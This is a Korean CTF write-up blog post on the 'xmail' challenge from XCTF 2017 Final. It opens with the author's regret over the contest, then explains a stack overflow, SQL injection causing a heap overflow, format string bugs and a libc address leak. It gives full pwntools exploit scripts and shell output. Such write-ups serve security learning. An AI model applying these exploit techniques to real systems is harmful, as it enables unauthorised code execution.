Abstract
XCTF 2017 Final - 2일 차에 출제된 문제.
대회 이름 혹은 문제 이름을 떠올리기만 해도 미안함과 죄책감에 사로잡히는 대회들이 있다.
당시에 내가 풀지 못했던 문제들로 인해 행복한 추억이 될 수 있던 순간들이 괴로운 기억으로 남았다.
그 중 XCTF를 생각하면 가슴이 턱 막힌다. 자신에게 기대, 다짐, 의미가 큰 대회였지만, 그에 비해 내 능력은 준비되어 있지 않았다. 결국, 내 역할을 제대로 수행하지 못하여 대회를 망쳤다.
최근 XCTF 2016에서 출제됐던 문제들을 모두 풀고, 좀 울컥했다. 대회때는 전날 패치하지 못한 취약점들 패치한다고 문제를 제대로 보지 못했지만, 그게 핑계가 되어주지 못 할 정도로 취약점들이 간단했기 때문이다. 자신감이 바닥이라 내가 풀 수 있다는 확신도 없던걸까? 이제와서 1시간도 안되어 쉘을 따자마자 멘탈이 나가 노트북을 덮었다. 너무 허무하다. 당시에 내가 network든 xmail이든 풀기만 했더라도 순위가 크게 밀려나는 일은 없었을텐데, 뭐가 그렇게 자신없어 flag 털리고 패치나 하고 앉았을까.
시간을 되돌려 그 순간으로 너무나 돌아가고 싶다. 앞으로 그 사람들과 다시 한번 같은 상황, 여건, 분위기에서 대회를 나갈 수 있는 기회는 더 이상 없을 것이다. XCTF를 비롯해 4년간 나와 함께 했던 팀원들에게 너무나 미안하다.
함께 발전을 이룰 수 있는 중요한 시간을 나만 아무것도 이루지 않고 제자리에 있었다.
다행히 (자의적으로는 아니지만) 잠깐 동안 컴퓨터와 완벽히 단절된 시간을 보내면서, 이게 제일 재밌다는 것을 이제라도 깨달았다.
내가 느슨해질 때마다 XCTF와 여러 대회들을 기억하고 괴로워하며 빡세게 공부해야겠다.
미안합니다.
Vulnerability(1) Stack based buffer overflow
기능을 보다보면 사용자에게 큰 명령을 입력받을 때, get_input(사용자 정의)이라는 함수를 이용한다.
|
|
입력을 받을 때 buffer의 크기를 고려하지 않고 사용자에게 size를 입력받는다. size가 0x80인 stack buffer에 입력받으므로 simple stack bof.
pay = ''
pay += chr(0x84)
pay += p32(0x7fffffff)[::-1]
pay += 'QUIT '
pay = pay.ljust(0x2a8 + 5, '\x00')
pay += p64(libc_pop_rdi)
pay += p64(libc_sh)
pay += p64(libc_system)
pay += '\x0b'
cmd_recv(p16(1)+p16(0x3000)+p32(0), pay)
s.interactive()
s.close()
Vulnerability(2) SQL Injection -> heap overflow
xmail은 sqlite database에 message를 남기는 기능이 있다.
message를 확인할 땐, username을 기준으로 확인하게 되는데, username에 별다른 filtering이 없어 sql injection이 가능하다.
username: ' union select 1, replace(quote(zeroblob(313370)), '0', 'a')--
// sqlite 에 repeat 함수가 없어서 저걸로 대신함.
username이 위와 같을때 size 0x1010인 heap chunk에 0x1020byte가 복사되어 heap overflow가 발생한다.
(exploit과정은 조금 삽질을 해야할 것이다.)
|
pay = ''
pay += 'USER '
pay += """' union select 1, replace(quote(zeroblob(313370)), '0', 'a')-- \x0c"""
pay += '\x0b'
pay = chr(len(pay)) + pay
cmd_recv(p16(1)+p16(0x3000)+p32(0), pay)
s.interactive()
s.close()
[pid 17507] [0x40249a] sprintf("SELECT idx, message FROM xmessage WHERE username = ''
union select 1, replace(quote(zeroblob(313370)), '0', 'a')-- '",
"SELECT idx, message FROM xmessage WHERE username = '%s'",
"' union select 1, replace(quote(zeroblob(313370)), '0', 'a')-- ") = 116
[pid 17507] [0x4021d7] strstr("SELECT idx, message FROM xmessage WHERE username = ''union select 1, replace(quote(zeroblob(313370)), '0', 'a')-- '", "shell") = nil
[pid 17507] [0x4021f7] strstr("SELECT idx, message FROM xmessage WHERE username = ''union select 1, replace(quote(zeroblob(313370)), '0', 'a')-- '", "system") = nil
[pid 17507] [0x4024db] sqlite3_prepare_v2(0x1ced078, 0x7ffd0237c990, 0xffffffff, 0x7ffd0237cde0) = 0
[pid 17507] [0x4025dd] sqlite3_step(0x1d11898, 0, 0x1ced018, 1) = 100
[pid 17507] [0x40253e] sqlite3_column_int(0x1d11898, 0, 0x1ced018, 0) = 1
[pid 17507] [0x402559] sqlite3_column_blob(0x1d11898, 1, 0x1ced018, 1) = 0x1f0b998
[pid 17507] [0x402575] sqlite3_column_bytes(0x1d11898, 1, 0x1ced018, 1) = 0x99037
[pid 17507] [0x402582] malloc(4112) = 0x1fa5d30
[pid 17507] [0x4025a3] memcpy(0x1fa5d40, "X'aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"..., 626743 <no return ...>
[pid 17507] [0x7ff3a1511156] --- SIGSEGV (Segmentation fault) ---
[pid 17507] [0xffffffffffffffff] +++ killed by SIGSEGV +++
Vulnerability(3) Format string bug[1]
Format string bug가 다수 존재한다. 심지어 stack에 데이터를 쓸 수 있기 때문에 굳이 double stated fsb를 하지 않아도 된다.
|
Vulnerability(4) Format string bug[2]
마찬가지.
|
Vulnerability(5) Memory leak
heap에 몇 개의 message를 남길 수 있는 기능도 존재한다.
message를 남기고(leave), 확인하고(show), 삭제(delete)할 수 있는 기능이 존재하는데, message를 leave / delete할 때, heap을 초기화 하지 않는다.
따라서 chunk를 free했을 때 생기는 fd / bk도 chunk에 그대로 남게되는데, 마침 show 함수가 0x10이라는 고정된 길이만큼 출력해주기 때문에 unsorted bin chunk를 만들어서 main_arena 주소를 알아낼 수 있다.
(1) fastbin 보다 큰 chunk를 만들고
(2) free 시키면 fd, bk가 main_arena+88의 주소를 가지게 된다.
(3) 다시 한번 할당하여
(4) 출력하면 main_arena 주소를 알아낼 수 있다. = libc주소 leak
cmd_leave(0, 0x90, 'a'*0x90)
cmd_delete(0)
cmd_leave(0, 0x90, 'a'*8)
libc_base = u64(cmd_show(0)[8:16]) - 0x3c4de8
* 모든 취약점에 대한 exploit할 필요가 없을 것 같아 BOF와 FSB exploit을 1개씩 작성했다.
Exploit - FSB
#!/usr/bin/python
from pwn import *
def cmd_send_mode():
ru('Message?\n')
ss('S\x00')
def send_req(data):
size = len(data)
obj = ''
obj += p16(1)
obj += p16(size + 8 + 2)
obj += p32(0)
ss(obj)
obj = ''
obj += chr(size)
obj += data
obj += '\x0b'
ss(obj)
align = lambda block, data: data+'\x00'*(block- (len(data) % block))
s = process('./xmail')
rr = s.recv
ru = s.recvuntil
rl = s.recvline
sl = s.sendline
ss = s.send
def ru2(msg):
data = ''
while msg not in data:
data += rr(1)
print 'a'
print data
return data
raw_input('>')
cmd_send_mode()
send_req('DATA')
ru('354 end with .\r\n')
send_req('%63$p\x00')
send_req('.\r\n\x00')
libc_base = int(rl().strip(), 16) - 0x20830
print hex(libc_base)
printf_got = 0x604068
libc_system = libc_base + 0x45390
fsb = ''
cnt = 0
idx = 14
for i in range(0, 3):
target = (libc_system >> (i*16)) & 0xffff
if target >= cnt:
fsb += '%{}c%{}$hn'.format(target-cnt, idx)
else:
fsb += '%{}c%{}$hn'.format((target+0x10000 - cnt)&0xffff, idx)
idx += 1
cnt = target
fsb += '##'
pay = ''
pay += align(8, fsb)
pay += p64(printf_got)
pay += p64(printf_got + 2)
pay += p64(printf_got + 4)
send_req('DATA')
ru('354 end with .\r\n')
send_req(pay)
send_req('.\r\n\x00')
send_req('DATA')
#ru('354 end with .\r\n')
send_req('sh\x00')
send_req('.\r\n\x00')
sl('id')
ru('354 end with .\r\n')
s.interactive()
s.close()
Exploit - BOF
#!/usr/bin/python
from pwn import *
def cmd_recv(size_obj, msg):
ru('Message?\n')
ss('R\x00')
ru('+OK POP3 server ready')
ss(size_obj)
ss(msg)
def cmd_leave(idx, msg_len, msg):
ru('Message?\n')
ss('L\x00')
ru('Leave message here....\n')
sl(str(idx))
sl(str(msg_len))
ss(msg)
def cmd_delete(idx):
ru('Message?\n')
ss('D\x00')
ru('Delete message here....\n')
sl(str(idx))
def cmd_show(idx):
ru('Message?\n')
ss('M\x00')
ru('Memory detect here....\n')
sl(str(idx))
return rr(0x10)
s = process('./xmail')
rr = s.recv
ru = s.recvuntil
rl = s.recvline
sl = s.sendline
ss = s.send
raw_input('>')
cmd_leave(0, 0x90, 'a'*0x90)
cmd_delete(0)
cmd_leave(0, 0x90, 'a'*8)
libc_base = u64(cmd_show(0)[8:16]) - 0x3c4de8
libc_system = libc_base + 0x45390
libc_pop_rdi = libc_base + 0x7a170
libc_sh = libc_base + 0x11e70
print hex(libc_base)
pay = ''
pay += chr(0x84)
pay += p32(0x7fffffff)[::-1]
pay += 'QUIT '
pay = pay.ljust(0x2a8 + 5, '\x00')
pay += p64(libc_pop_rdi)
pay += p64(libc_sh)
pay += p64(libc_system)
pay += '\x0b'
cmd_recv(p16(1)+p16(0x3000)+p32(0), pay)
s.interactive()
s.close()
$ python ex_bof.py
[+] Starting local process './xmail': pid 518
>
0x7f55fcecd000
[*] Switching to interactive mode
+OK
$ id
uid=1000(pwn3r) gid=1000(pwn3r) groups=1000(pwn3r)
$ python ex_fsb.py
[+] Starting local process './xmail': pid 500
>
0x7f052a988000
[*] Switching to interactive mode
uid=1000(pwn3r) gid=1000(pwn3r) groups=1000(pwn3r)
$
'CTF > 2017' 카테고리의 다른 글
0CTF 2017 FINAL - VM Escape (0) | 2018.12.03 |
---|---|
HITB GSEC 2017 - babyqemu (0) | 2018.12.03 |
XCTF FINAL 2017 - network (0) | 2018.10.06 |
CODEGATE 2017 QUAL - js_world (0) | 2018.09.26 |
CODEGATE 2017 FINAL - petshop (0) | 2017.06.04 |